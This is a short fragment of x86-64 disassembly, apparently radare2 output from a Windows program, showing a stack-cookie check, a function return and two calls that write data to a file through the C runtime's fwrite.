mov rcx, qword [rsp + 0x140]
xor rcx, rsp
call fcn.14007aea0
add rsp, 0x160
pop rdi
ret
mov r9, qword [rdi + 0x668]
lea rcx, [0x140085398]
mov edx, 2
lea r8d, [rdx - 1]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov r9, qword [rdi + 0x668]
lea rcx, [rsp + 0x30]
mov r8d, 1
mov rdx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
jmp 0x140042618
call fcn.14007b7d8
int3